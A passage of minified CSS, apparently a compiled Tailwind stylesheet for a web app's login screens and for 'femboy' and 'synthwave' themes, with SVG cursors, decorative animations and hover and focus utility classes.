#1F1F23;padding:.625rem .875rem .625rem 1rem;color:#fafafa;font-size:.875rem;font-family:var(--font-sans),"Segoe UI",system-ui,sans-serif;outline:none;transition:border-color .2s ease,box-shadow .2s ease,background .2s ease}.auth-input::-moz-placeholder{color:#52525b}.auth-input::placeholder{color:#52525b}.auth-input:focus{border-color:#06b6d466;box-shadow:0 0 0 3px #06b6d414,inset 0 0 12px #06b6d408;background:#0a0a0d}@keyframes authSubmitGlow{0%,to{box-shadow:0 0 12px #06b6d426,0 0 4px #06b6d41a}50%{box-shadow:0 0 20px #06b6d44d,0 0 8px #06b6d433}}.auth-submit{width:100%;position:relative;padding:.7rem 1rem;font-size:.875rem;font-weight:500;font-family:var(--font-sans),"Segoe UI",system-ui,sans-serif;color:#fff;background:linear-gradient(135deg,#0891b2,#06b6d4,#22d3ee);background-size:200% 200%;border:none;cursor:pointer;overflow:hidden;animation:authSubmitGlow 3s ease-in-out infinite;transition:filter .2s ease,transform .15s ease}.auth-submit:hover:not(:disabled){filter:brightness(1.1);transform:translateY(-1px)}.auth-submit:active:not(:disabled){transform:translateY(0)}.auth-submit:disabled{opacity:.5;cursor:not-allowed;animation:none}.auth-submit:after{content:"";position:absolute;top:0;left:-100%;width:100%;height:100%;background:linear-gradient(90deg,transparent 0%,rgba(255,255,255,.08) 50%,transparent 100%);transition:left .5s ease;z-index:1}.auth-submit:hover:after{left:100%}@keyframes authErrorIn{0%{opacity:0;transform:translateY(-8px) scaleY(.95);max-height:0;padding-top:0;padding-bottom:0;margin-bottom:0}to{opacity:1;transform:translateY(0) scaleY(1);max-height:80px;padding-top:.75rem;padding-bottom:.75rem;margin-bottom:0}}.auth-error{display:flex;align-items:center;gap:.75rem;background:#ef44440f;border:1px solid rgba(239,68,68,.2);color:#ef4444;font-size:.8125rem;font-family:var(--font-sans),"Segoe UI",system-ui,sans-serif;padding:.75rem 1rem;animation:authErrorIn .35s cubic-bezier(.16,1,.3,1) forwards;overflow:hidden}.auth-error-bar{flex-shrink:0;width:3px;height:16px;background:#ef4444;border-radius:1px;box-shadow:0 0 6px #ef444466}@keyframes authStatusPulse{0%,to{opacity:1;box-shadow:0 0 4px #06b6d466}50%{opacity:.5;box-shadow:0 0 8px #06b6d499}}.auth-status-dot{display:inline-block;width:5px;height:5px;border-radius:50%;background:#06b6d4;animation:authStatusPulse 2s ease-in-out infinite}.femboy-theme{--fem-bg: #fff5f8;--fem-bg-alt: #fff0f5;--fem-panel: #ffe8f1;--fem-panel-hover: #ffd6e7;--fem-border: #ffb8d4;--fem-border-hover: #ff9ec4;--fem-accent: #ff69b4;--fem-accent-hover: #ff4da6;--fem-accent-dim: #e84393;--fem-text: #3d0a22;--fem-text-dim: #7a2855;--fem-text-muted: #c48aa6}.femboy-theme,.femboy-theme *{cursor:url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='28' height='32' viewBox='0 0 28 32'%3E%3Cellipse cx='14' cy='22' rx='8' ry='7' fill='%23ff69b4'/%3E%3Ccircle cx='6' cy='10' r='3.8' fill='%23ff69b4'/%3E%3Ccircle cx='14' cy='6' r='3.8' fill='%23ff69b4'/%3E%3Ccircle cx='22' cy='10' r='3.8' fill='%23ff69b4'/%3E%3Cellipse cx='14' cy='22' rx='5' ry='4.5' fill='%23ff1493' opacity='.4'/%3E%3Ccircle cx='6' cy='10' r='2' fill='%23ff1493' opacity='.4'/%3E%3Ccircle cx='14' cy='6' r='2' fill='%23ff1493' opacity='.4'/%3E%3Ccircle cx='22' cy='10' r='2' fill='%23ff1493' opacity='.4'/%3E%3C/svg%3E") 14 16,auto!important}.femboy-theme ::-moz-selection{background:#ff69b44d!important;color:#fff!important}.femboy-theme ::selection{background:#ff69b44d!important;color:#fff!important}.femboy-theme :focus-visible{outline-color:#ff69b480!important}.femboy-theme body{background-color:var(--fem-bg)!important;color:var(--fem-text)!important}.femboy-theme .bg-zerin-bg{background-color:var(--fem-bg)!important}.femboy-theme .bg-zerin-bg-alt{background-color:var(--fem-bg-alt)!important}.femboy-theme .bg-zerin-panel{background-color:var(--fem-panel)!important}.femboy-theme .bg-zerin-panel-hover,.femboy-theme .hover\:bg-zerin-panel-hover:hover{background-color:var(--fem-panel-hover)!important}.femboy-theme .bg-zerin-accent{background-color:var(--fem-accent)!important}.femboy-theme .bg-zerin-accent-hover{background-color:var(--fem-accent-hover)!important}.femboy-theme .bg-zerin-accent-dim{background-color:var(--fem-accent-dim)!important}.femboy-theme .bg-zerin-accent-muted,.femboy-theme .bg-zerin-accent-muted\/10{background-color:#ff69b41f!important}.femboy-theme .bg-zerin-danger-dim{background-color:#ff149314!important}.femboy-theme .hover\:bg-zerin-danger-dim:hover{background-color:#ff149326!important}.femboy-theme .bg-zinc-600{background-color:#dfa0bb!important}.femboy-theme .bg-zinc-700{background-color:#e8b5cc!important}.femboy-theme .bg-zinc-500{background-color:#c9a0b5!important}.femboy-theme .text-zerin-text{color:var(--fem-text)!important}.femboy-theme .text-zerin-text-dim{color:var(--fem-text-dim)!important}.femboy-theme .text-zerin-text-muted{color:var(--fem-text-muted)!important}.femboy-theme .text-zerin-accent{color:var(--fem-accent)!important}.femboy-theme .text-zerin-accent-hover{color:var(--fem-accent-hover)!important}.femboy-theme .text-zerin-accent-dim{color:var(--fem-accent-dim)!important}.femboy-theme .text-zerin-danger{color:#e8195e!important}.femboy-theme .text-zinc-400{color:#9a6080!important}.femboy-theme .text-zinc-500{color:#b07898!important}.femboy-theme .text-zinc-300{color:#7a2855!important}.femboy-theme .hover\:text-zerin-text:hover{color:var(--fem-text)!important}.femboy-theme .hover\:text-zerin-text-dim:hover{color:var(--fem-text-dim)!important}.femboy-theme .hover\:text-zerin-accent:hover{color:var(--fem-accent)!important}.femboy-theme .hover\:text-zerin-danger:hover{color:#ff1493!important}.femboy-theme .group:hover .group-hover\:text-zerin-accent{color:var(--fem-accent)!important}.femboy-theme .group:hover .group-hover\:text-zerin-text-dim{color:var(--fem-text-dim)!important}.femboy-theme .border-zerin-panel-border{border-color:var(--fem-border)!important}.femboy-theme .border-zerin-panel-border-hover,.femboy-theme .hover\:border-zerin-panel-border-hover:hover{border-color:var(--fem-border-hover)!important}.femboy-theme .border-zerin-accent{border-color:var(--fem-accent)!important}.femboy-theme .border-zerin-accent\/20,.femboy-theme .border-zerin-accent\/25{border-color:#ff69b438!important}.femboy-theme .hover\:border-zerin-accent\/30:hover{border-color:#ff69b44d!important}.femboy-theme .border-zinc-700{border-color:#f0c0d8!important}.femboy-theme .border-zinc-800{border-color:#f5d0e2!important}.femboy-theme .divide-zerin-panel-border>:not([hidden])~:not([hidden]){border-color:var(--fem-border)!important}.femboy-theme .focus\:border-zerin-accent:focus{border-color:var(--fem-accent)!important}.femboy-theme .focus\:ring-zerin-accent\/30:focus{--tw-ring-color: rgba(255, 105, 180, .3) !important}.femboy-theme .custom-scrollbar::-webkit-scrollbar-thumb{background:#ffb8d4}.femboy-theme .custom-scrollbar::-webkit-scrollbar-thumb:hover{background:#ff9ec4}.femboy-theme .custom-scrollbar{scrollbar-color:#ffb8d4 transparent}.femboy-theme .form-input{background-color:var(--fem-bg)!important;border-color:var(--fem-border)!important;color:var(--fem-text)!important}.femboy-theme .form-input:focus{border-color:var(--fem-accent)!important;--tw-ring-color: rgba(255, 105, 180, .3) !important}.femboy-theme .form-input::-moz-placeholder{color:var(--fem-text-muted)!important}.femboy-theme .form-input::placeholder{color:var(--fem-text-muted)!important}.femboy-theme .auth-card{background:var(--fem-panel)!important;border-color:var(--fem-border)!important}.femboy-theme .auth-card:hover{border-color:#ff69b426!important}.femboy-theme .auth-corner-tl,.femboy-theme .auth-corner-tr,.femboy-theme .auth-corner-bl,.femboy-theme .auth-corner-br{border-color:#ff69b480!important}.femboy-theme .auth-scanline{background:linear-gradient(90deg,transparent 0%,rgba(255,105,180,.3) 20%,rgba(255,105,180,.5) 50%,rgba(255,105,180,.3) 80%,transparent 100%)!important;box-shadow:0 0 8px #ff69b426!important}.femboy-theme .auth-input{background:var(--fem-bg)!important;border-color:var(--fem-border)!important;color:var(--fem-text)!important}.femboy-theme .auth-input::-moz-placeholder{color:var(--fem-text-muted)!important}.femboy-theme .auth-input::placeholder{color:var(--fem-text-muted)!important}.femboy-theme .auth-input:focus{border-color:#ff69b4!important;box-shadow:0 0 0 3px #ff69b426,inset 0 0 12px #ff69b40d!important}.femboy-theme .auth-input-wrap:focus-within:before{background:var(--fem-accent)!important;box-shadow:0 0 8px #ff69b466!important}.femboy-theme .auth-submit{background:linear-gradient(135deg,#d4508f,#ff69b4,#ff8cc8)!important}.femboy-theme .auth-status-dot{background:var(--fem-accent)!important}.femboy-theme .auth-badge-glow{box-shadow:0 0 4px #ff69b41a,inset 0 0 4px #ff69b40d!important;border-color:#ff69b44d!important}.femboy-theme nav a{transition:transform .2s cubic-bezier(.34,1.56,.64,1),color .15s,background-color .15s!important}.femboy-theme nav a:hover{transform:translate(3px) scale(1.02)}.femboy-logo-glow{text-shadow:0 0 10px rgba(255,105,180,.4),0 0 20px rgba(255,105,180,.15)}.femboy-ear{position:absolute;width:0;height:0;border-left:9px solid transparent;border-right:9px solid transparent;border-bottom:16px solid #ff69b4;filter:drop-shadow(0 0 6px rgba(255,105,180,.5));z-index:10}.femboy-ear:after{content:"";position:absolute;top:4px;left:-5px;width:0;height:0;border-left:5px solid transparent;border-right:5px solid transparent;border-bottom:9px solid #ff1493}.femboy-ear-left{top:-14px;left:-2px;transform:rotate(-12deg)}.femboy-ear-right{top:-14px;left:32px;transform:rotate(12deg)}@keyframes floatPaw{0%{transform:translateY(0) rotate(0) scale(1);opacity:0}8%{opacity:.35}50%{transform:translateY(-50vh) rotate(90deg) scale(.85);opacity:.2}92%{opacity:0}to{transform:translateY(-105vh) rotate(200deg) scale(.5);opacity:0}}.femboy-paw{position:fixed;bottom:-40px;pointer-events:none;z-index:9999;animation:floatPaw linear infinite;will-change:transform,opacity}@keyframes femConfetti{0%{transform:translate(0) rotate(0) scale(1);opacity:1}70%{opacity:.8}to{transform:translate(var(--fem-dx),var(--fem-dy)) rotate(var(--fem-rot)) scale(.2);opacity:0}}@keyframes femSpark{0%{transform:scale(0) rotate(0);opacity:1}40%{transform:scale(1.2) rotate(120deg);opacity:.9}to{transform:scale(0) rotate(360deg);opacity:0}}.femboy-sparkle{position:fixed;clip-path:polygon(50% 0%,61% 35%,98% 35%,68% 57%,79% 91%,50% 70%,21% 91%,32% 57%,2% 35%,39% 35%);pointer-events:none;z-index:100000;animation:femSpark .9s ease-out forwards}.femboy-theme aside{border-right-color:var(--fem-border)!important;box-shadow:2px 0 20px #ff69b414}@keyframes femBadgeShimmer{0%,to{opacity:.7}50%{opacity:1;text-shadow:0 0 6px rgba(255,105,180,.4)}}.femboy-badge{animation:femBadgeShimmer 2s ease-in-out infinite}.femboy-theme nav a .bg-zerin-accent,.femboy-theme nav a span[class*=bg-zerin-accent]{background-color:var(--fem-accent)!important}.femboy-theme .bg-\[\#09090B\]{background-color:var(--fem-bg)!important}.femboy-theme .bg-\[\#0C0C0E\]{background-color:var(--fem-bg-alt)!important}.femboy-theme .bg-\[\#111113\]{background-color:var(--fem-panel)!important}.femboy-theme .bg-\[\#04040a\]{background-color:#fff8fa!important}.femboy-theme .bg-\[\#08080c\]{background-color:var(--fem-bg)!important}.femboy-theme .border-\[\#1a1a22\],.femboy-theme .border-\[\#1F1F23\]{border-color:var(--fem-border)!important}.femboy-theme .hover\:border-\[\#2a2a33\]:hover{border-color:var(--fem-border-hover)!important}@keyframes femHeartFloat{0%{transform:translate(0) scale(1) rotate(0);opacity:.9}to{transform:translate(var(--fem-hx, 0px),-40px) scale(.3) rotate(var(--fem-hr, 20deg));opacity:0}}.femboy-heart-trail{position:fixed;pointer-events:none;z-index:99998;animation:femHeartFloat .7s ease-out forwards;will-change:transform,opacity;font-size:12px;line-height:1}@keyframes femKaomojiDrift{0%{transform:translate(0) translateY(0) rotate(0);opacity:0}10%{opacity:.6}90%{opacity:.6}to{transform:translate(30px) translateY(-60px) rotate(8deg);opacity:0}}.femboy-kaomoji{position:fixed;pointer-events:none;z-index:99997;font-size:13px;color:#ff69b4;font-family:var(--font-mono),monospace;animation:femKaomojiDrift 3s ease-in-out forwards;text-shadow:0 0 8px rgba(255,105,180,.3)}.synthwave-theme{--synth-bg: #0D001A;--synth-bg-alt: #120024;--synth-panel: #1A0033;--synth-panel-hover: #24004D;--synth-border: #3D0066;--synth-border-hover: #5C0099;--synth-accent: #FF2D95;--synth-accent-hover: #FF5CAF;--synth-accent-dim: #CC0066;--synth-cyan: #00F0FF;--synth-text: #F0E6FF;--synth-text-dim: #C8A8E8;--synth-text-muted: #7B5299}.synthwave-theme,.synthwave-theme *{cursor:url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='24' height='24' viewBox='0 0 24 24'%3E%3Cline x1='12' y1='0' x2='12' y2='9' stroke='%2300F0FF' stroke-width='1.5' opacity='0.8'/%3E%3Cline x1='12' y1='15' x2='12' y2='24' stroke='%2300F0FF' stroke-width='1.5' opacity='0.8'/%3E%3Cline x1='0' y1='12' x2='9' y2='12' stroke='%2300F0FF' stroke-width='1.5' opacity='0.8'/%3E%3Cline x1='15' y1='12' x2='24' y2='12' stroke='%2300F0FF' stroke-width='1.5' opacity='0.8'/%3E%3Ccircle cx='12' cy='12' r='3' fill='none' stroke='%23FF2D95' stroke-width='1' opacity='0.9'/%3E%3C/svg%3E") 12 12,crosshair!important}.synthwave-theme ::-moz-selection{background:#ff2d9559!important;color:#fff!important}.synthwave-theme ::selection{background:#ff2d9559!important;color:#fff!important}.synthwave-theme :focus-visible{outline-color:#00f0ff99!important}.synthwave-theme body{background-color:var(--synth-bg)!important;color:var(--synth-text)!important}.synthwave-theme .bg-zerin-bg{background-color:var(--synth-bg)!important}.synthwave-theme .bg-zerin-bg-alt{background-color:var(--synth-bg-alt)!important}.synthwave-theme .bg-zerin-panel{background-color:var(--synth-panel)!important}.synthwave-theme .bg-zerin-panel-hover,.synthwave-theme .hover\:bg-zerin-panel-hover:hover{background-color:var(--synth-panel-hover)!important}.synthwave-theme .bg-zerin-accent{background-color:var(--synth-accent)!important}.synthwave-theme .bg-zerin-accent-hover{background-color:var(--synth-accent-hover)!important}.synthwave-theme .bg-zerin-accent-dim{background-color:var(--synth-accent-dim)!important}.synthwave-theme .bg-zerin-accent-muted,.synthwave-theme .bg-zerin-accent-muted\/10{background-color:#ff2d951f!important}.synthwave-theme .bg-zerin-danger-dim{background-color:#ff00501a!important}.synthwave-theme .hover\:bg-zerin-danger-dim:hover{background-color:#ff00502e!important}.synthwave-theme .bg-zinc-600{background-color:#4d1a66!important}.synthwave-theme .bg-zinc-700{background-color:#3d0066!important}.synthwave-theme .bg-zinc-500{background-color:#5c2680!important}.synthwave-theme .text-zerin-text{color:var(--synth-text)!important}.synthwave-theme .text-zerin-text-dim{color:var(--synth-text-dim)!important}.synthwave-theme .text-zerin-text-muted{color:var(--synth-text-muted)!important}.synthwave-theme .text-zerin-accent{color:var(--synth-accent)!important}.synthwave-theme .text-zerin-accent-hover{color:var(--synth-accent-hover)!important}.synthwave-theme .text-zerin-accent-dim{color:var(--synth-accent-dim)!important}.synthwave-theme .text-zerin-danger{color:#f36!important}.synthwave-theme .text-zinc-400{color:#96c!important}.synthwave-theme .text-zinc-500{color:#7b5299!important}.synthwave-theme .text-zinc-300{color:#c8a8e8!important}.synthwave-theme .hover\:text-zerin-text:hover{color:var(--synth-text)!important}.synthwave-theme .hover\:text-zerin-text-dim:hover{color:var(--synth-text-dim)!important}.synthwave-theme .hover\:text-zerin-accent:hover{color:var(--synth-accent)!important}.synthwave-theme .hover\:text-zerin-danger:hover{color:#f36!important}.synthwave-theme .group:hover .group-hover\:text-zerin-accent{color:var(--synth-accent)!important}.synthwave-theme .group:hover .group-hover\:text-zerin-text-dim{color:var(--synth-text-dim)!important}.synthwave-theme .border-zerin-panel-border{border-color:var(--synth-border)!important}.synthwave-theme .border-zerin-panel-border-hover,.synthwave-theme .hover\:border-zerin-panel-border-hover:hover{border-color:var(--synth-border-hover)!important}.synthwave-theme .border-zerin-accent{border-color:var(--synth-accent)!important}.synthwave-theme .border-zerin-accent\/20,.synthwave-theme .border-zerin-accent\/25{border-color:#ff2d9540!important}.synthwave-theme .hover\:border-zerin-accent\/30:hover{border-color:#ff2d9559!important}.synthwave-theme .border-zinc-700{border-color:#3d0066!important}.synthwave-theme .border-zinc-800{border-color:#2a004d!important}.synthwave-theme .divide-zerin-panel-border>:not([hidden])~:not([hidden]){border-color:var(--synth-border)!important}.synthwave-theme .focus\:border-zerin-accent:focus{border-color:var(--synth-cyan)!important}.synthwave-theme .focus\:ring-zerin-accent\/30:focus{--tw-ring-color: rgba(0, 240, 255, .3) !important}.synthwave-theme .custom-scrollbar::-webkit-scrollbar-thumb{background:#5c0099}.synthwave-theme .custom-scrollbar::-webkit-scrollbar-thumb:hover{background:#7b00cc}.synthwave-theme .custom-scrollbar{scrollbar-color:#5C0099 transparent}.synthwave-theme .form-input{background-color:var(--synth-bg)!important;border-color:var(--synth-border)!important;color:var(--synth-text)!important}.synthwave-theme .form-input:focus{border-color:var(--synth-cyan)!important;--tw-ring-color: rgba(0, 240, 255, .25) !important;box-shadow:0 0 0 3px #00f0ff1a,0 0 12px #00f0ff0d!important}.synthwave-theme .form-input::-moz-placeholder{color:var(--synth-text-muted)!important}.synthwave-theme .form-input::placeholder{color:var(--synth-text-muted)!important}.synthwave-theme .auth-card{background:var(--synth-panel)!important;border-color:var(--synth-border)!important;box-shadow:0 0 30px #ff2d9514,0 0 60px #00f0ff0a!important}.synthwave-theme .auth-card:hover{border-color:#ff2d9540!important}.synthwave-theme .auth-corner-tl,.synthwave-theme .auth-corner-tr{border-color:#00f0ff99!important}.synthwave-theme .auth-corner-bl,.synthwave-theme .auth-corner-br{border-color:#ff2d9599!important}.synthwave-theme .auth-scanline{background:linear-gradient(90deg,transparent 0%,rgba(0,240,255,.3) 20%,rgba(255,45,149,.5) 50%,rgba(0,240,255,.3) 80%,transparent 100%)!important;box-shadow:0 0 12px #ff2d9533!important}.synthwave-theme .auth-input{background:var(--synth-bg)!important;border-color:var(--synth-border)!important;color:var(--synth-text)!important}.synthwave-theme .auth-input::-moz-placeholder{color:var(--synth-text-muted)!important}.synthwave-theme .auth-input::placeholder{color:var(--synth-text-muted)!important}.synthwave-theme .auth-input:focus{border-color:var(--synth-cyan)!important;box-shadow:0 0 0 3px #00f0ff1f,inset 0 0 12px #00f0ff08!important}.synthwave-theme .auth-input-wrap:focus-within:before{background:var(--synth-cyan)!important;box-shadow:0 0 8px #00f0ff80!important}.synthwave-theme .auth-submit{background:linear-gradient(135deg,#c06,#ff2d95,#b026ff)!important}.synthwave-theme .auth-status-dot{background:var(--synth-cyan)!important}.synthwave-theme .auth-badge-glow{box-shadow:0 0 4px #00f0ff26,inset 0 0 4px #00f0ff0d!important;border-color:#00f0ff4d!important}.synthwave-theme aside{border-right-color:var(--synth-border)!important;box-shadow:2px 0 30px #ff2d951a,1px 0 #ff2d9533!important}.synthwave-theme nav a{transition:all .2s ease!important;position:relative}.synthwave-theme nav a:hover{text-shadow:0 0 8px rgba(255,45,149,.4)}.synthwave-theme nav a span[class*=bg-zerin-accent]{background-color:var(--synth-accent)!important;box-shadow:0 0 8px #ff2d9580}.synthwave-theme .border-zerin-panel-border{box-shadow:inset 0 0 0 .5px #ff2d950d}.synthwave-theme .font-display.text-zerin-text,.synthwave-theme .font-display.text-lg{background:linear-gradient(135deg,#ff2d95,#ff6b9d,#00f0ff,#b026ff)!important;-webkit-background-clip:text!important;-webkit-text-fill-color:transparent!important;background-clip:text!important;filter:drop-shadow(0 0 8px rgba(255,45,149,.4))}@keyframes synthBadgePulse{0%,to{text-shadow:0 0 4px rgba(0,240,255,.4);border-color:#00f0ff40}50%{text-shadow:0 0 10px rgba(0,240,255,.7);border-color:#00f0ff80}}.synthwave-theme .font-display .font-mono,.synthwave-theme span[class*=text-zerin-accent][class*=border]{color:var(--synth-cyan)!important;border-color:#00f0ff40!important;animation:synthBadgePulse 2.5s ease-in-out infinite}.synthwave-theme main.custom-scrollbar{background:linear-gradient(180deg,var(--synth-bg) 0%,#120024 100%),repeating-linear-gradient(90deg,rgba(255,45,149,.03) 0px,rgba(255,45,149,.03) 1px,transparent 1px,transparent 60px),repeating-linear-gradient(0deg,rgba(0,240,255,.02) 0px,rgba(0,240,255,.02) 1px,transparent 1px,transparent 60px)!important}.synthwave-theme .bg-\[\#09090B\]{background-color:var(--synth-bg)!important}.synthwave-theme .bg-\[\#0C0C0E\]{background-color:var(--synth-bg-alt)!important}.synthwave-theme .bg-\[\#111113\]{background-color:var(--synth-panel)!important}.synthwave-theme .bg-\[\#04040a\]{background-color:#08001a!important}.synthwave-theme .bg-\[\#08080c\]{background-color:var(--synth-bg)!important}.synthwave-theme .border-\[\#1a1a22\],.synthwave-theme .border-\[\#1F1F23\]{border-color:var(--synth-border)!important}.synthwave-theme .hover\:border-\[\#2a2a33\]:hover{border-color:var(--synth-border-hover)!important}.synthwave-logo-glow{background:linear-gradient(135deg,#ff2d95,#ff6b9d,#00f0ff 60%,#b026ff)!important;-webkit-background-clip:text!important;-webkit-text-fill-color:transparent!important;background-clip:text!important;filter:drop-shadow(0 0 10px rgba(255,45,149,.5)) drop-shadow(0 0 20px rgba(0,240,255,.3))}@keyframes synthBadgeGlow{0%,to{text-shadow:0 0 4px rgba(0,240,255,.5);box-shadow:0 0 4px #00f0ff1a,inset 0 0 4px #00f0ff0d}50%{text-shadow:0 0 10px rgba(0,240,255,.8);box-shadow:0 0 10px #00f0ff33,inset 0 0 6px #00f0ff1a}}.synthwave-badge{animation:synthBadgeGlow 2s ease-in-out infinite}@keyframes synthBurstLine{0%{opacity:0;transform:scaleX(0)}40%{opacity:1;transform:scaleX(1.1)}to{opacity:0;transform:scaleX(1)}}@keyframes synthBurstParticle{0%{transform:translate(0) scale(1);opacity:1}to{transform:translate(var(--synth-dx),var(--synth-dy)) scale(0);opacity:0}}@keyframes synthTrailFade{0%{transform:scale(1);opacity:.8}to{transform:scale(0);opacity:0}}.synthwave-trail{position:fixed;width:4px;height:4px;border-radius:50%;pointer-events:none;z-index:99998;animation:synthTrailFade .45s ease-out forwards;will-change:transform,opacity;margin-left:-2px;margin-top:-2px}@keyframes synthShapeFloat{0%{transform:translateY(0) rotate(0);opacity:0}10%{opacity:.3}50%{transform:translateY(-45vh) rotate(180deg);opacity:.15}to{transform:translateY(-100vh) rotate(360deg);opacity:0}}.synthwave-shape{position:fixed;bottom:-30px;pointer-events:none;z-index:9998;animation:synthShapeFloat 5.5s ease-in-out forwards;will-change:transform,opacity}.synthwave-theme aside:after{content:"";position:absolute;top:0;right:0;bottom:0;left:0;pointer-events:none;background:repeating-linear-gradient(0deg,transparent 0px,transparent 3px,rgba(0,240,255,.015) 3px,rgba(0,240,255,.015) 4px);z-index:1}.placeholder\:text-zerin-text-muted::-moz-placeholder{--tw-text-opacity: 1;color:rgb(82 82 91 / var(--tw-text-opacity, 1))}.placeholder\:text-zerin-text-muted::placeholder{--tw-text-opacity: 1;color:rgb(82 82 91 / var(--tw-text-opacity, 1))}.last\:border-b-0:last-child{border-bottom-width:0px}.hover\:translate-x-0\.5:hover{--tw-translate-x: .125rem;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.hover\:border-zerin-accent\/20:hover{border-color:#06b6d433}.hover\:border-zerin-accent\/30:hover{border-color:#06b6d44d}.hover\:border-zerin-accent\/40:hover{border-color:#06b6d466}.hover\:border-zerin-accent\/50:hover{border-color:#06b6d480}.hover\:border-zerin-panel-border-hover:hover{--tw-border-opacity: 1;border-color:rgb(39 39 42 / var(--tw-border-opacity, 1))}.hover\:border-zerin-text-muted:hover{--tw-border-opacity: 1;border-color:rgb(82 82 91 / var(--tw-border-opacity, 1))}.hover\:bg-\[\#14141a\]:hover{--tw-bg-opacity: 1;background-color:rgb(20 20 26 / var(--tw-bg-opacity, 1))}.hover\:bg-\[\#1f1f25\]:hover{--tw-bg-opacity: 1;background-color:rgb(31 31 37 / var(--tw-bg-opacity, 1))}.hover\:bg-amber-700:hover{--tw-bg-opacity: 1;background-color:rgb(180 83 9 / var(--tw-bg-opacity, 1))}.hover\:bg-emerald-500:hover{--tw-bg-opacity: 1;background-color:rgb(16 185 129 / var(--tw-bg-opacity, 1))}.hover\:bg-emerald-500\/10:hover{background-color:#10b9811a}.hover\:bg-emerald-700:hover{--tw-bg-opacity: 1;background-color:rgb(4 120 87 / var(--tw-bg-opacity, 1))}.hover\:bg-orange-500\/15:hover{background-color:#f9731626}.hover\:bg-orange-500\/20:hover{background-color:#f9731633}.hover\:bg-orange-600:hover{--tw-bg-opacity: 1;background-color:rgb(234 88 12 / var(--tw-bg-opacity, 1))}.hover\:bg-purple-500\/10:hover{background-color:#a855f71a}.hover\:bg-purple-700:hover{--tw-bg-opacity: 1;background-color:rgb(126 34 206 / var(--tw-bg-opacity, 1))}.hover\:bg-red-500\/10:hover{background-color:#ef44441a}.hover\:bg-red-500\/15:hover{background-color:#ef444426}.hover\:bg-red-500\/20:hover{background-color:#ef444433}.hover\:bg-red-600:hover{--tw-bg-opacity: 1;background-color:rgb(220 38 38 / var(--tw-bg-opacity, 1))}.hover\:bg-white\/10:hover{background-color:#ffffff1a}.hover\:bg-zerin-accent-hover:hover{--tw-bg-opacity: 1;background-color:rgb(34 211 238 / var(--tw-bg-opacity, 1))}.hover\:bg-zerin-accent-muted:hover,.hover\:bg-zerin-accent\/10:hover{background-color:#06b6d41a}.hover\:bg-zerin-accent\/15:hover{background-color:#06b6d426}.hover\:bg-zerin-accent\/20:hover{background-color:#06b6d433}.hover\:bg-zerin-accent\/90:hover{background-color:#06b6d4e6}.hover\:bg-zerin-bg:hover{--tw-bg-opacity: 1;background-color:rgb(9 9 11 / var(--tw-bg-opacity, 1))}.hover\:bg-zerin-danger-dim:hover{background-color:#ef444414}.hover\:bg-zerin-danger\/20:hover{background-color:#ef444433}.hover\:bg-zerin-panel-hover:hover{--tw-bg-opacity: 1;background-color:rgb(24 24 27 / var(--tw-bg-opacity, 1))}.hover\:bg-zinc-700:hover{--tw-bg-opacity: 1;background-color:rgb(63 63 70 / var(--tw-bg-opacity, 1))}.hover\:text-amber-400:hover{--tw-text-opacity: 1;color:rgb(251 191 36 / var(--tw-text-opacity, 1))}.hover\:text-orange-300:hover{--tw-text-opacity: 1;color:rgb(253 186 116 / var(--tw-text-opacity, 1))}.hover\:text-red-200:hover{--tw-text-opacity: 1;color:rgb(254 202 202 / var(--tw-text-opacity, 1))}.hover\:text-red-300:hover{--tw-text-opacity: 1;color:rgb(252 165 165 / var(--tw-text-opacity, 1))}.hover\:text-red-400:hover{--tw-text-opacity: 1;color:rgb(248 113 113 / var(--tw-text-opacity, 1))}.hover\:text-zerin-accent:hover{--tw-text-opacity: 1;color:rgb(6 182 212 / var(--tw-text-opacity, 1))}.hover\:text-zerin-accent-hover:hover{--tw-text-opacity: 1;color:rgb(34 211 238 / var(--tw-text-opacity, 1))}.hover\:text-zerin-accent\/80:hover{color:#06b6d4cc}.hover\:text-zerin-danger:hover{--tw-text-opacity: 1;color:rgb(239 68 68 / var(--tw-text-opacity, 1))}.hover\:text-zerin-text:hover{--tw-text-opacity: 1;color:rgb(250 250 250 / var(--tw-text-opacity, 1))}.hover\:text-zerin-text-dim:hover{--tw-text-opacity: 1;color:rgb(161 161 170 / var(--tw-text-opacity, 1))}.hover\:text-zerin-text-muted:hover{--tw-text-opacity: 1;color:rgb(82 82 91 / var(--tw-text-opacity, 1))}.hover\:opacity-60:hover{opacity:.6}.hover\:opacity-80:hover{opacity:.8}.hover\:shadow-\[0_0_20px_rgba\(6\,182\,212\,0\.3\)\]:hover{--tw-shadow: 0 0 20px rgba(6,182,212,.3);--tw-shadow-colored: 0 0 20px var(--tw-shadow-color);box-shadow:var(--tw-ring-offset-shadow, 0 0 #0000),var(--tw-ring-shadow, 0 0 #0000),var(--tw-shadow)}.hover\:shadow-\[0_0_30px_rgba\(6\,182\,212\,0\.3\)\]:hover{--tw-shadow: 0 0 30px rgba(6,182,212,.3);--tw-shadow-colored: 0 0 30px var(--tw-shadow-color);box-shadow:var(--tw-ring-offset-shadow, 0 0 #0000),var(--tw-ring-shadow, 0 0 #0000),var(--tw-shadow)}.hover\:shadow-\[0_0_40px_rgba\(6\,182\,212\,0\.25\)\]:hover{--tw-shadow: 0 0 40px rgba(6,182,212,.25);--tw-shadow-colored: 0 0 40px var(--tw-shadow-color);box-shadow:var(--tw-ring-offset-shadow, 0 0 #0000),var(--tw-ring-shadow, 0 0 #0000),var(--tw-shadow)}.focus\:border-\[\#10b981\]\/30:focus{border-color:#10b9814d}.focus\:border-\[\#8b5cf6\]\/30:focus{border-color:#8b5cf64d}.focus\:border-\[\#f59e0b\]\/30:focus{border-color:#f59e0b4d}.focus\:border-zerin-accent:focus{--tw-border-opacity: 1;border-color:rgb(6 182 212 / var(--tw-border-opacity, 1))}.focus\:border-zerin-accent\/30:focus{border-color:#06b6d44d}.focus\:border-zerin-accent\/40:focus{border-color:#06b6d466}.focus\:border-zerin-accent\/50:focus{border-color:#06b6d480}.focus\:border-zerin-danger:focus{--tw-border-opacity: 1;border-color:rgb(239 68 68 / var(--tw-border-opacity, 1))}.focus\:outline-none:focus{outline:2px solid transparent;outline-offset:2px}.focus\:ring-1:focus{--tw-ring-offset-shadow: var(--tw-ring-inset) 0 0 0 